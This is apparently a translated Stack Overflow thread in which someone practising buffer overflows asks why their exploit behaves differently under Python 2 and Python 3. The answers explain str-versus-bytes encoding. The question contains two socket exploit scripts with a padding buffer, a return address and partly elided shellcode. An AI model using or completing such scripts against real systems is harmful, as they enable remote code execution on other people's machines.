Python3和Python2的区别--socket.send数据。

问题描述 投票:3回答:2

我正在练习一些缓冲区溢出技术,我遇到了一个发送socked数据的奇怪问题。

我有两段几乎相同的代码,除了在Python3的代码中,我改变了sock.send来编码string (在Python2中,你不需要这样)

Python2代码。

import socket,sys
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect ((sys.argv[1], 10000))

buffer = "A"*268
buffer += "\x70\xfb\x22\x00"

#PAYLOAD:
buffer += ("\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
...
"\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5")

sock.send (buffer)
sock.close

Python3代码

import socket,sys
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect ((sys.argv[1], 10000))

buffer = "A"*268
buffer += "\x70\xfb\x22\x00"

#PAYLOAD:
buffer += ("\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
...
"\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5")

sock.send (buffer.encode())
sock.close

我发送了缓冲区,然后用免疫调试器检查EIPSEP值,我看到Python2代码和Python3代码之间得到了不同的值。这怎么可能呢?

它们两个的缓冲区都是一样的,所以调试器中的EIPSEP应该是一样的。

换句话说,从服务器的角度来看(服务器获取socket-data),好像获取了不同的数据结构或类似的东西。

有什么想法吗?

谢谢。

sockets python-3.x buffer-overflow
2个回答
5
投票

你的服务器和调试器是正确的--缓冲区内容是 一样。

在 python 2 和 3 中,如果你写的是 buffer = "A"*268缓冲区的类型是 str. 然而,什么 str 代表 在两个版本中是完全不同的.

在python 2中,一个 str 实际上是一个字节数组。在 python 3 中,它是一个由一系列的 可读字,不 字节数 字符串

如果你进一步 .encode(),你将把字符序列翻译成字节序列,使用的是 utf-8. 这个 "改变内容" 弦外之音

你可能想做的是 buffer = b"A"*268,它将使用 bytes 而不是 str. 你需要在所有连接的字节序列前加上 b


0
投票

您可以使用 six.b 使其兼容python2和python3。

import six

...
sock.send(six.b(buffer))

https:/six.readthedocs.io#six.b。

© www.soinside.com 2019 - 2024. All rights reserved.